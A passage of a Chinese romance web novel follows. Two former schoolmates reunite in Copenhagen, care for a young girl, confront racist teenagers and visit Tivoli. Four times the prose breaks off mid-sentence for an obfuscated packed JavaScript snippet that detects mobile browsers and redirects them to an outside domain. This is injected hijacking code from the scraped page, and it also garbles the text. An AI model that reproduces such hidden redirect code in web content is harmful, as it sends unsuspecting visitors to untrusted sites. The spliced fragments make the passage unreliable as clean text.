走着走着,她忽然侧过身子背着手跳了两步,笑眯眯地看向身旁的男人,“我第一次来新港是个阴天,景色没现在漂亮,你的运气真好,总是碰上晴天。” 温让替她留意着脚边的台阶,脸上的笑容和阳光一样和煦,“那这好运气你也占一半。” “你看那些房子的倒影,像不像波动的信号。”高幸指着港湾里被水波荡漾开的影子,稀奇古怪的想法又通通冒了出来,“小时候在乡下外婆家,他们的电视机总是会出现信号波动的情况,画面就会被切割成一条一条的,歪歪扭扭。” “像。”温让顺着她的手指望过去,“所以不需要大雨,一汪水,也能让城市颠倒。” 此话一出,高幸突然顿住脚步,“你……还记得那年的倒影?” 十年前那场暴雨结束后,她曾带着他穿街走巷。 那时候的城市道路还没现在这么平坦,尤其是一些老街,雨后到处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042619|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是坑坑洼洼。 十几岁的少年少女小心翼翼地避开藏满雨水的“地/雷砖”,忽然同时停在一滩雨水交汇的低洼处。 高幸的右耳还挂着一只耳机,另一只耳机线绕了脖子一圈,松松垮垮地搭在肩头。 两边的民居耸立,树影随风晃动,落下残余的雨水,一只不知从哪儿窜出来的小猫踏着水洼路过,水珠溅到他们鞋面上。 城市倒影就在他们脚边的水洼里。 高幸抬眼的瞬间,也看到了面前那双漆黑透亮的瞳孔里,自己的倒影。 -「你知道就算大雨让整座城市颠倒。」 苏打绿唱完这句,MP3电量告急,自动关机。右耳归于静寂,心跳声占了上风。 对视不过三秒,又同时挪开了眼。 “你、你看这里。”高幸掩饰着尴尬,指向水洼。 “原来小情歌的歌词,是写实的。”温让说。 “你也喜欢这首歌吗?” “嗯,很喜欢。” 高幸以为像温让这样学神级别的人物,平时没什么听歌的时间,不像她,没事儿就爱在日记本上抄一些歌词,要不是高考作文都爱用名人名言,她高低得把自己背下来的歌词也写上去。 “那你喜欢哪句歌词?”高幸问道。 “我喜欢——” 温让裤兜里的手机不应景地响了,他下意识看了高幸一眼。 “你还是先接电话吧。”高幸说。 于是一通电话后,她看见了等待在老街尽头的豪车,车门打开,隐隐约约看见一个西装革履的女人朝他们走来。 “高幸,我得走了。”温让的神色难得有些仓促。 “好……” 目送少年的身影离开,那会儿的高幸怎么也没想到,听到这个问题的答案,是在十年后。 “记得当时你问我喜欢哪句歌词。”男人成熟的面孔和十年前青涩模样交错。 恍惚间,她听到了两道重合的声音。 “就算大雨让城市颠倒。”他缓缓念道,“的下一句。” 四周不算安静,丹麦语、英语交杂着在耳边响起,还有帆船过路时被风吹打的声音,她却好似进了真空世界,什么也听不见。 “高幸。”男人带着笑意唤她,“回神了。” 回过神的女子忽然拉过他的手腕,“温让,在吃晚饭前,我们去买一样东西。” 在暴走近十分钟后,温让抬头看向目前的店铺,疑惑道,“家居店?” “不是要买家具。”高幸带着他直奔文具区,“你挑一个本子。” 温让随手拿了一个本子翻了翻,“要做什么?” “我们都买一个本子,然后每天记录一件最开心的事。”高幸说,“我的医生之前也建议我这样做,但是……我没能坚持下来。” 温让笑了笑,“原来是这样,我还以为你来这儿是要……”他顿住,扫了眼货架,“你帮我挑吧,我有选择困难症。” “好。”高幸快速选好笔和本子。 晚上在餐厅点好单,她就把本子摊开,就地写了起来。 温让含笑看着一脸认真的她,“看来你今天很有收获。” “我把前两天的也补上了。”高幸抬头笑了笑,“我们争取把这个本子写满。” “好。” 温让端起杯子喝水,瞟了眼手机屏幕上的日期。 还剩五天。 不过没关系。 这次,他有足够的时间。 8. 小美人鱼 「小美人鱼」 晚饭后,在去地铁的途中,高幸带温让顺便去了趟长堤公园。 海边岩石上,人身鱼尾的少女雕像微微垂着头,宁静地望着海面。 即使到了夜里,小美人鱼雕像处也围了不少人。 “呐,这儿就是今天的最后一站了。”高幸有些遗憾地说道,“其实应该白天带你来看的,晚上视野不佳。白天的话,可以清楚地看见大海以及这位海的女儿。” “没关系。”温让拍了几张照片,“晚上也有晚上的氛围。” “我上小学的时候,每学期班上前十名都会有额外的奖品,名次高的就先挑。”高幸一边回忆一边说,“有一次,我考了第一名。” “那你选了什么奖品?”温让问道。 “安徒生童话。”高幸仰头看着他,笑道,“当时我妈还笑我选亏了,放着更好的不要,要了一本童话书。” “只要是自己选的,就是当下最喜欢的,自然也是最好的。”温让说。 “你看过安徒生童话吗?” 温让摇摇头,“小时候没看,第一次看是在大学毕业后。” “啊?”高幸讶异道,“为什么大学毕业后突然开始看童话了?” “大概是为了弥补小时候丧失的童心吧。”温让笑道,“报复性地看了很多,格林童话也看完了。” “那你也看了海的女儿?” “是的。” “我小时候还看哭了。”高幸说,“而且那会儿我不明白,凭什么最善良的小人鱼却是遭受最多痛苦的,要用锥心的疼换一双自由行走的腿,最后还搭上自己的命。” 温让附和地点点头。 “不过我现在明白了。”高幸顿了下,“这都是男人的错。” 温让下意识点头,又觉得哪里不对,但他还是表达了对高幸的赞同,“如果不是王子,小美人鱼确实不用受那么多苦。” “本质还是因为爱。”高幸说,“爱让人鱼变成了泡沫,爱让她成了牺牲品。” 温让沉默了会儿,“所以你会抵触吗?” “抵触什么?” “爱。” “爱是抵触不了的。”高幸的嘴角依然微微勾起,只是笑容苦涩,“只能认栽。” 温让想起一些过往的传言,垂着头,没再说什么。 “hey,chingchong。” 这时,不远处忽然传来一道挑衅的声音,两人同时望过去,却看见几个青少年围着一个黑发小女孩,扯着她的两根小辫子,嘴里的脏词不停蹦出来。 高幸凭着直觉冲过去,一副要跟这群把种族歧视词汇挂在嘴边的小子干架的架势,而旁边的人却先一步抱走了被围困的小女孩,拉住高幸的胳膊,皱眉提醒道,“高幸,你的伤还没好,别冲动。” 亚洲面孔的小女孩不知道发生了什么,懵懂地趴在温让的肩膀上。 “chingchong!chingchong!又是你!”几个青少年边跑边喊,还冲着他们做鬼脸吐口水,做着吊眼角的歧视性手势。 “上次的教训还不够是不是?”高幸冷眼看着他们。 附近游客不少,看到这边的异样,已经有一些人陆续走了过来,青少年们早就混习惯了,只要他们不动手,就没人奈何得了他们,抛下几句脏话,骑上自己的车一哄而散。 高幸的胳膊一直被温让攥住,冷静下来她才看见温让怀里还趴了个跟小笛差不多大的小孩儿。 “你累不累?要不先把她放下来?” “月月!月月!” 这时,围观的人群被一对年轻父母拨开。 “月月!” 听到呼唤,温让怀里的女孩立马转过头,“爸爸妈咪!” 温让一只胳膊承力,稳稳当当地放下她,小女孩咯咯笑着扑向自己爸妈,把刚才遭受的欺凌都抛到了脑后。 “谢谢你们啊。”女孩的父亲满头大汗,估计丢了小孩急坏了,找了挺久,“谢谢你们照看我家小孩。” “都是中国人,出门在外彼此照应,应该的。”高幸说完,看了眼女孩的状态,“刚才她被一群不礼貌的白人小孩儿围着戏弄,你们回去也多多注意下她的情绪,当下不一定表现出来,会有滞后感。” “好的好的,太谢谢你们了。”女孩的母亲抹去眼泪,“我们这趟旅行出来碰到的人都还挺好的,没想到还是会遇到种族歧视这档子事。” “难免会有素质差的人。”温让说完,望了下四周,发现那几个败类还在街角看热闹。 “你们也还是小心点,看你们都挺年轻的,现在时间也不早了,回去的路上注意安全。”女孩爸爸说。 “好。” 离开长堤公园,高幸见温让心事重重,顺口问道,“是不是第一次经历这么直接的种族歧视?” “刚才他们说了句,‘又是你’,什么意思?” 高幸这才想起那群青少年说的英语,他都听懂了。 “就是打高尔夫那次,他们欺负小笛。”高幸解释道,“我都怀疑这群人是不是定期在哥哈作恶了。” “你和他们动手了吗?” “当然没有,他们那么多人我也打不过啊。”高幸说,“我报警了,但因为他们未成年,没受到太重的惩罚。” “刚才我还以为你会……” “会和他们打起来?” 温让笑了笑,“稍微有点担心。” “原来在你印象中,我这么野蛮啊。” “我不是这个意思。” “不过我本科的时候确实跟男的干了不少架。”高幸说,“谁让他们不干人事儿,我瞧不顺眼。” “那现在怎么改了?” “因为……” 高幸的话音戛然而止,心虚地撇开眼神,“上年纪了,打不过。” 其实是因为那次和温让为数不多的直接接触中,她动手打了他的室友。 那会儿,他们学校都在一条街上,温让所在的大学是那条街最受瞩目的985,也是高幸他们学校很多人考研的梦校。 人们总是对名校学生蒙了一层滤镜,把学业和人品挂钩。 高幸的其中一个室友就受了蒙骗,被人吃干抹尽骗财骗色,回头加害者还倒打一耙,说她出轨在先,把自己撇的干干净净,好学生的智商尽用在算计人身上了。 室友是个脸皮薄的,选择息事宁人,高幸可看不过去,在关容清的帮助下进了他们学校,直接堵在了那个男生的教室门口。 她特意穿了偏中性的运动服,长发都塞进了鸭舌帽里,口罩挡住脸,跟着那男的进了空无一人的男厕所,趁其不备,把人狠狠教训了一顿。 那人也是个菜鸡,试图反抗都没成功,但最后趁着高幸要离开的时候却奋力扯下了她的帽子。 长发披散的瞬间,忽然有人将她揽进怀里,没让那男的瞧见她的样子。 温让把外套罩在她头上,轻轻推着她朝门口走去,低声说了句,“打人手疼,以后别再伤害自己了。” “你……” “走吧,这里我来处理。” 她不便在男厕所门口久待,道了声谢谢便离开了。 后来她一直没找到机会还温让外套,几年过去了,那件外套还规规整整挂在她的衣柜里。 她也不知道温让是怎么处理的,只是到了毕业季,她在温让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042620|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学校的公众号里看到了一则“学神聚集的寝室是什么样的”,点进去一看才发现,温让和那男的是室友…… 自那以后,她始终记得四个字:打人手疼。还暗暗立了条“能动口就不动手”的规矩。 “总之。”高幸似乎怕温让不信,补充了一句,“我现在喜欢以理服人。” 温让笑而不语。 两人乘坐线路不同,温让坚持目送她上了地铁才朝自己乘坐的线路走去。 下地铁后,回公寓路上,高幸踩着自己的影子,眼底是藏不住的喜悦。也许是抑郁期暂时过去,也许是与喜欢多年的人重逢,她难得有种“活过来了”的感觉。 电梯里,高幸又遇到了蕾娜,她手里拎了个小蛋糕,热情地冲高幸打招呼。 “高,你喜欢吃甜品吗?”蕾娜拎起蛋糕晃了晃。 高幸明白她的意思,“我今晚上吃了很多,现在有点吃不下了,下次我们可以一起去甜品店吃。” “没问题。”蕾娜说,“所以下次是什么时候?” “最近几天我得陪朋友旅游。”高幸说,“加个联系方式?” “行。” 楼层到了,电梯门一开,火急火燎冲进来一人。 “李听墨?”高幸前脚刚迈出去,又停住。 “哦高幸,你回来得正好,麻烦你帮我照顾下小笛,她还没喝牛奶,我这会儿有点急事需要处理。” “好的。” 等到电梯合上,蕾娜意味深长地看着高幸,“男朋友?” “不是男朋友,他是寄宿家庭的长子。” “看着还挺不错的,对我的口味。” 高幸挑眉一笑,“我可以帮你问问他的恋爱情况。” 蕾娜眼睛都亮了,“再好不过。” 半小时后,李听墨在酒店套房里抱着胳膊来回踱步。 沙发上,男人的嘴角的伤越看越碍眼。 “你晃得我头晕。”温让说。 “打架就不头晕了?”李听墨停下来,“我倒是不知道我们温大少爷脑子好使就算了,拳头上的功夫也这么厉害。” “正当防卫。”温让抿了口茶水。 “我印象中的你别说动手了,从来没管过任何闲事。”李听墨在他对面坐下,抢过他的茶杯,咕咚咕咚喝完,“虽说那几个青少年也确实该被收拾,但你也不用脏了自己的手。” 温让没说话,只看了眼手机。 “你们家不是向来信奉明哲保身吗?要是被你爸妈知道了,我看你——” “你要给他们说?”温让抬眼。 “我是那种卖兄弟的人吗?”李听墨无语,“可是你难得来一次,我得好好照顾你啊,你把自己搞成这样,我怎么跟我爸妈和你爸妈交代?” “退一万步,你那小高导游要是看见你嘴角淤青,你怎么解释?” “就说是你打的。” “什么玩意儿?!!”李听墨差点没从沙发上蹦起来。 “我们发生争执,然后你打了我一拳泄愤。”温让平静地说。 “我现在确实可以给你一拳。” “想不出来其他的解释了。” “你什么时候回家?你回家吧好不好?” “时机未到。” “……” 什么温润如玉谦谦君子,温让这副戴了二十多年的面具也只能拿去骗骗小姑娘了! 李听墨愤恨地盯着他。 “你上次想要的绝版手办,我帮你弄到了。”温让云淡风轻来了一句。 “!”方才的气恼烟消云散,李听墨瞪大双眼,笑开了花,“谢谢温让哥!你最好了哥!我承认你嘴角的伤就是我打的。” 9. 安徒生 「安徒生」 高幸端着温好的牛奶敲响小笛的卧室门,“小笛,睡了吗?” “高姐姐,我还没睡。” “那姐姐进来咯。” 因为是租的房子,没有专门的儿童房,小笛住的是普通次卧,一米八的大床对瘦瘦小小的她来说显得过于空荡,而她总是习惯性地缩在角落里。 见高幸进来,小笛掀开被子,“姐姐快过来给我讲故事。” “喝光牛奶我就给你讲。”高幸在床边坐下。 小笛捧着杯子,很快就喝了个干净。 “真棒啊我们小笛。” 高幸把空杯子放到一旁,接过小笛手中的中英双语绘本,“姐姐不在的这两天,你有好好跟哥哥学汉语吗?” “我学了!”小笛苦想了一会儿,挤出四个音节,“我、喜、欢、你。” “我喜欢你?”高幸笑道,“是你哥哥教的吗?” “是的。”小笛靠坐在床上,“哥哥说女孩子喜欢听这四个字。” 高幸帮她理了理靠枕,“还有呢?” 小笛忽然攥紧拳头,没什么力气地对着空气挥了几拳,“哥哥还教我,以后谁欺负我,我就打谁。” “……”高幸可算知道小笛爸妈为什么不指望李听墨能教好小笛了。 她还记得原话是——小笛那哥哥就是个不靠谱的。 “姐姐还是给你讲故事吧。” “好哇好哇。” “讲什么呢……”高幸翻着绘本,忽然灵机一动,“小笛肯定知道安徒生童话吧?” “我知道里面有个故事是丑小鸭。”小笛从墙上的书柜里翻找出安徒生童话全集,递给高幸,“因为以前的同学总是这样叫我。” 高幸闻言,一时间没控制住自己心疼的表情。 小笛是天生兔唇,因为年纪小,现在还做不了手术。她一直把小笛当正常孩子看待,哪怕在教发音的时候,也正常教,不会特意避开她的唇形问题。 “他们说我眼睛小,头发黑,嘴巴还是烂的。”小笛望着高幸,眼神很平静,仿佛不是在说自己。 “小笛……” “高姐姐,可是哥哥告诉我,丑小鸭最后变成了超级漂亮的天鹅,对吗?” “是的。”高幸摸摸她的头,“姐姐也想这么说。” “所以,我不在乎现在是不是丑小鸭,反正迟早会变天鹅的。”小笛晃晃她的胳膊,“姐姐今晚给我讲什么故事?” “你想不想听小美人鱼的故事?” “好,这个我没听过。” 高幸的英语口语虽然流利,但要把故事立马翻译成英文讲出来还是有些难度,她翻开面前的双语童话书,可以照着读。 “这套书你还没看完吗?” “没有。”小笛说,“放在家里好几年了,我忘了读了……” 小笛说完,又想起什么,补充道,“就是那个哥哥送的。” “哪个哥哥?” “那天和你一起买咖啡的哥哥。” 温让? 放在家里好几年了…… 大学毕业后开始读童话…… 高幸恍然大悟,原来当初他读童话故事是为了给小笛买书。 “哥哥给我看过他们的合照,所以我记得他的样子。”小笛说。 “小笛的记性真好,我觉得小笛以后一定会成为很厉害的大人。” “嘻嘻。”小笛抱着高幸的腰,笑盈盈地看着她,“我也觉得。” 高幸翻到书的扉页,映入眼前的是干净利落的三行中英文寄语。 祝愿小笛,健康成长,一生无忧。 ——温让。 手指拂过早已干涸多年的墨迹,不知不觉,笑意染上唇角。 找到“海的女儿”的部分,高幸清了清嗓子,“在大海的远处……” 十来分钟过去,小笛听得专注认真,一句话也没说。 高幸偶尔会观察小笛的神色,之前小笛妈妈告诉她,小笛是高敏感孩子,观察和共情能力都比普通孩子强很多。 果不其然,在听到小人鱼失去声音换来双腿时,小笛的眼角掉下一滴泪,用袖口默默擦去。 故事读到最后,小美人鱼化为泡沫,却成为了天空的女儿,通过行善三百年获得不灭的灵魂。 小笛靠在高幸怀里,抽泣了会儿。 高幸拍着她的背,哄道:“没事儿了小笛,小美人鱼没有死的。” “我觉得她很勇敢。”小笛的声音闷闷的。 “是啊,她确实很勇敢,为了自己追求的爱,可以牺牲很多东西。” 小笛从高幸怀里仰起头,“她追求的也不算爱。” “嗯?” “是永恒的灵魂。” 高幸忽然怔住,往回翻了几页。 “她是为了获得灵魂,才这么不顾一切的。”小笛说,“不过,就算是为了爱,她也很勇敢,很多人都没有她勇敢。” “小笛,你第一次听这个故事吗?” “嗯!”小笛用力点了点头。 高幸意识到自己就没真正理解过这些童话故事,“那小笛觉得,什么是勇敢?” “在不伤害别人的情况下,付出一切去实现自己想要的东西。” “即使会失败?” “即使会失败。” 高幸定定地看着小笛。 “姐姐怎么了?” “小笛想要什么?” “我……现在还不知道。”小笛说,“等我再长大一些,我会知道的。” “姐姐呢?”她反问道。 “姐姐要好好想一下……” “小笛。” “怎么啦?” 高幸盘起腿,把书合上,“你说很多人都没有小美人鱼勇敢。” “是呀,比如我哥哥。” “怎么说?” “上次他说他喜欢一个姐姐,买了束花给她,被姐姐拒绝了,他就不喜欢她了。” 高幸想到李听墨被拒绝的场面,有些想笑,“那你觉得,要紧追不舍才是喜欢吗?” “倒也不是。”小笛想了想,说道,“我也不知道真正的喜欢是什么样的,我只知道一束花和喜欢是画不了等号的。” “你说的对。” “故事里的王子说他很爱小人鱼,但他没有勇敢地去保护这份爱。”小笛说,“所以从头到尾最勇敢的只有小人鱼。” “不过小笛,现实中的人们总是会考虑很多因素的。”高幸说,“等到你长大你就会明白,喜欢一个人也好,学习也好,工作也好,在实现自己目标的路途中,总是有无数的岔路,稍不注意,就远离了那条自己最想走的路。” “Yes,butallroadsleadtoRome.” 高幸托着脑袋冲她笑,“这句话在中文里面可以用四个字概括。” “姐姐教教我。” “殊途同归。” -殊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042621|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 途同归。 温让落下最后一笔,合上今天新买的本子。 他吃过药,情绪平缓许多。 李听墨在这里待到很晚才走,他向来能说会道,小时候每次回中国,他都能跟没那么熟悉的人打成一片,就连长时间被锁在房里的温让也逃不过李听墨“入室抢劫式”交友。 这么多年过去,李听墨倒是一点没变,拉着他聊了许多人生议题,直到温让打了个呵欠,李听墨才勉为其难地放过他,关门离开。 躺在床上,温让盯着手机屏幕,直到屏幕变黑,倒映出他平静的脸。 她或许在忙吧。温让心想。 于是这夜,他没有等来一句晚安。 高幸是在小笛房间睡着的,她的睡眠浅,一点风吹草动都会被惊醒。 屋外传来一些窸窣响动,高幸迷迷糊糊地起床,替小笛揶好被角,轻手轻脚地走到门边。 似乎有人在开柜子? 夜半醒来,脑子的反应速度跟不上平时,高幸下意识以为家里进贼了,她在屋子角落摸索到小笛的高尔夫球杆,顺手拿过,然后缓缓打开门,没弄出一点声音。 客厅窗帘关着,漆黑一片,直到她看见一点香烟星子。 烟味离她越来越近,高幸握紧球杆。 就在她举杆准备击打时,客厅的灯忽然亮了。 高幸被刺激得紧闭双眼,头顶响起一声轻笑。 “这是把我当贼了?” 球杆被人扯走,高幸看向面前叼着烟的男人,被烟雾呛得咳了几声。 “抱歉。”李听墨后退几步,“回来得晚,烟瘾犯了,没忍住,小笛怎么样?” “她睡得很好。”高幸说完,转过身朝自己房间走去,“我也去睡了。” “等等。”李听墨弯腰把烟头摁进烟灰缸里,“问你件事儿。” “什么?” “你跟温让,只是朋友关系?” “对。” 李听墨点点头,“他身边没有异性好友,所以我有点疑惑罢了。” “没有异性好友?” 可是记忆中,温让不缺异性才对。 “我每次回中国,他的朋友来来回回都是那几个人。”李听墨说,“不过在他家那样的情况下,倒也正常。” “他看着,家教应该很严格。” “岂止是严格……”李听墨想到温让的嘱托,“算了,他家的事我作为旁人不太好说。” “你们认识很多年了?” “对啊,第一次见他,还是上小学呢,春节的时候,爸妈带我回国祭祖。”眼前又闪过温让带着伤的脸,李听墨忍不住叮嘱了一句,“这几天就麻烦你了,他那性格看着温和,其实还挺倔的,有些事……让他能别掺合就别掺合。” “我明白。” “他受伤了,他让我告诉你,是我打了他。”李听墨眼珠子一转,“你这么聪明,肯定能想到是什么意思吧?” “什么?!你为什么打他?” “不是……”看高幸的表情,她是压根儿没反应过来,李听墨把温让的话抛到脑后,“他是跟一群teenager打了架,故意让我这样给你说的。” “你——” 李听墨打断她,追问道:“你可以猜猜他是为谁出这口气的?” 高幸狐疑,“为了你?” “?” 高幸:“你在向我炫耀吗?” 没救了。 李听墨绝望。 10. 蒂沃利 「蒂沃利公园」 第二天早上,高幸醒来就闻到了清甜的奶油香。以往准备早餐的活儿都是她在干,现在李听墨回来了,她倒是没想到他这么勤快。 洗漱完,她换了身衣服,推门出去。 穿梭在开放式厨房里的身影却不像是李听墨的。 温让将煎好的溏心蛋倒在面包片上,见不远处的高幸正一脸懵地盯着他,温让放下锅铲,擦了擦手,端着盛满早餐的盘子走过去,“高幸,早上好。” “温、温让?你怎么在这儿?” “是我让他来的。”李听墨不知道什么时候也出现在了客厅,“温让哥哥做饭可厉害了,区区早餐,不在话下。” 高幸被这声“温让哥哥”激得起了一身鸡皮疙瘩,“我去叫小笛起床了。” “诶,不必。”李听墨打了个响指。 小笛忽然从沙发里面弹坐起来,双手托着脸,头顶两根冲天辫,其他零零散散的碎发用五颜六色的发夹胡乱别好。 高幸两眼一黑。 “高姐姐,好看吗,哥哥一大早就把我拉起来扎头发换衣服了。”小笛说完,又起身转了一圈,粉白相间的蓬蓬裙上点缀着七彩小珍珠,闪得她忍不住闭上了双眼。 “这可是我精挑细选的公主裙,头发也是我跟着网上的视频扎的,不错吧?”话音刚落,小笛的左边的冲天辫忽然软了下来,被李听墨用手拎起,“我爸妈还说我带不好妹妹,真是个笑话。” “我看你才是个笑话。”温让取下围裙搭在椅背上,“小笛,我们先吃饭。” “好的,温哥哥。”小笛蹦蹦跳跳地跑过来。 “嘿,温让你怎么说话呢。”李听墨叉腰质问他,“这难道不好看吗?就你那和尚一样的审美好看?小女孩就得打扮得色彩缤纷的,你懂什么,总不能天天跟个大姐似的除了黑白就是灰吧。” 高幸看了眼自己,黑色外套白色内搭灰色长裤…… “呃。”李听墨尴尬地解释道,“当然,高幸你这样穿还是好看的。” 高幸懒得理他,拉开身旁的椅子,让小笛坐上来,温让也顺手拉开了高幸的椅子,自己坐在她旁边。 李听墨一个人坐在他们三的对面。他总觉得哪里不对,又说不上来。 一口培根煎蛋吃下去,温让的手艺从不让他失望,只不过……李听墨看着高幸面前的那独一份的奶白色豆浆和炸得焦黄的香酥油条,忍不住发问,“为什么我们的早餐不一样?” 小笛也看了看高幸和温让的早餐,“这是哥哥姐姐在中国吃的早餐吗?” “是的小笛。”高幸说,“要尝一点吗?” 小笛点点头,她便拿了小笛的刀叉,切下一点油条给她。 温让始终沉默地吃着饭。 “诶,温让。”李听墨唤道。 “食不言寝不语。”温让说。 “高幸,你们今天计划去哪儿?”李听墨换了个人下手。 “蒂沃利公园。”高幸说。 “那太好了,能把我和小笛也带上吗?”他可怜兮兮地看着高幸。 小笛却转过头来严肃地说,“哥哥,我们不要打扰高姐姐和温哥哥。” “……你小孩子懂什么。” 高幸轻轻碰了下温让的手肘,“你觉得呢?” “带上小笛我没意见。”温让说。 “那我呢?”李听墨怨气冲天。 高幸在中间打圆场,“那我们晚点出发吧,外面冷,小笛总不能穿这身出去。” “啊?那待会儿我在家里给她多拍点照片给爸妈看看,好不容易骗小孩儿穿上了……” “……” 饭后,趁着李听墨拉着温让玩手柄,高幸把小笛带到房间里重新打扮。 “喂,温让。” “什么?” 李听墨不费吹灰之力清扫小怪,“我帮你呢,别不识好歹。” “我有数,你别乱来。”温让躲过boss的一个大招,绕过其身后准备开大。 “我谈过没八个也有七个了,你谈过几个?” 温让神色不改,速战速决搞定大boss,“0个。” “那不就得了。”李听墨傻眼,“不是,我这关卡了一个星期了,你怎么这么快就过了?” 高幸拉着小笛出来,温让把手柄随手丢进李听墨怀里,“技术不好,次数再多也会卡关。” “你损我呢!” 李听墨望着温让的背影,咬牙切齿。 小笛换上了一身浅蓝色的袄子,头戴雪白毛茸帽,冲着温让跟李听墨嘿嘿直笑。 温让捏捏她帽子上的小球,“很可爱,像只小兔子。” “你们准备好,我们就可以出发了。”高幸说。 李听墨打量着穿着要多素有多素的高幸,“你就这样吗?” “怎么了吗?” 李听墨又看了温让一眼,见他还是一副柔情似水的样子望着高幸,“算了。” 四个人刚出门,正好碰见准备回家的蕾娜。 蕾娜穿了一身修身瑜伽服,胳膊上挂着羽绒外套,“嘿,巧了啊高,这是去哪儿?” 蕾娜的眼神扫过三人,最终落在小笛身上,“还带了个小宝贝呀。” “姐姐好。” “你好呀。” “我们去蒂沃利公园玩,你这打扮,刚运动完?”高幸问道。 “去学校的瑜伽俱乐部玩了一会儿,那祝你们下午玩得开心。” “好,下次一起。” “没问题。” 蕾娜进屋前,还朝李听墨眨了眨眼。 高幸暗暗决定,趁今天的机会,替蕾娜打听下李听墨的感情状况。 蒂沃利公园就在哥哈市中心,交通便利,李听墨去过几次,已经很熟悉路线,不需要高幸看攻略。 泥棕色拱形大门上高高立着丹麦国旗,圣诞将至,周围还摆了几株圣诞树,冬季的蒂沃利没有夏季繁花似锦,布置了不少闪烁彩灯,前些日子下过大雪,倒也为公园添了些冬日温馨北欧的气氛。 “哥哥,这不是游乐园吗?为什么你来的次数比我还多?”排队买票的时候,小笛问道。 “因为哥哥每次谈恋爱就爱带女朋友来这。”李听墨无比熟练地买完票,领了地图,随便扫了眼,“我闭着眼都能把这地儿走遍。” 高幸瞟了李听墨一眼,原来是个花心大萝卜。 “其实晚上来氛围会更好,那种缠绵的、暧昧的感觉……”李听墨自顾自说着,直到察觉三道视线黏在了他身上,“算了,我跟你们三个没啥好说的。” “哥哥。”小笛拉了下李听墨的袖子,指着地图问道,“这个中国城的过山车好像很好玩。” “哦这个……一般。”李听墨脑海中出现自己无数次被吓破胆的场景,“高幸,你能玩这种刺激的吗?” “能。”高幸看了看小笛和温让,“你们可以吗?” “我可以的。”小笛说。 “我没玩过,但可以试一下。”温让说。 “温让,你以前是不是没来过游乐园?”李听墨记得小时候回国,他闹着要去感受下中国的游乐园,都被温让的父母拒绝了。 “嗯。”温让很实诚,“今天是第一次来。” “啊?”小笛比高幸更快发出惊讶的声音,“哥哥小时候——”小笛很快反应过来,重新措辞,“那哥哥今天一定要玩开心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042622|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “没问题。”温让笑笑。 高幸望着温让的侧脸,从来没来过游乐园吗……看来高中的传闻是对的,那会儿她班上同学都说温让从来不参加任何体育之外的文娱活动,学校组织的春游也不参加,就连高中毕业后的聚餐都被他拒绝了。 那些原本对温让抱有好感的同学暗地里还说,温让一定是只顾着读书的无趣的书呆子。 “我们可以先玩一些简单的项目过渡一下,过山车留到后面玩,可以吗小笛?”高幸问道。 “当然可以,我都听高姐姐的。” 高幸捏捏她的脸,笑容温柔。 “我同意,那就碰碰车吧,可好玩儿了。”李听墨说完,拉着小笛就走,高幸和温让并肩跟在他们身后。 “高幸,你看那个塔。” 高幸顺着温让手指的方向看过去,在一众欧式建筑中,古色古香的中国高塔耸立其中。 “是中国的风格。”高幸说,“你在南城,逛过园林吗?” 温让想了想,说道,“大一入学,我爸妈送我去报道,顺便游玩。” “我也是和家人去过,还有室友。”高幸说。 温让:“回国后,我们可以——” “你俩快点儿!这边不用排队,马上就进场了!”李听墨大喊道。 两人加快脚步,刚好赶上新一轮碰碰车,镜面梦幻,灯光复古。 “小笛跟我一块儿坐。”李听墨抱着小笛直奔位置最优越的一辆车。 高幸跟温让随便选了一辆,两人的车都被其他车包围着,确实不方便冲出重围。 高幸探出脑袋跟温让快速传授了经验,最后不忘叮嘱一句,“不要怕撞,就是要撞来撞去才好玩。” 以她对温让并不全面的了解,他大概在这种场合也不会撒开了玩儿。 但高幸不一样,她可以安安静静,也可以玩得很疯。 游戏一开始,李听墨抡着盘子,大笑着朝离他最近的高幸冲了过来,车身碰撞在一起又弹开,刺激不已。 “啊啊啊哈哈哈哈!”小笛咧开嘴,眼睛都笑成一条儿缝。 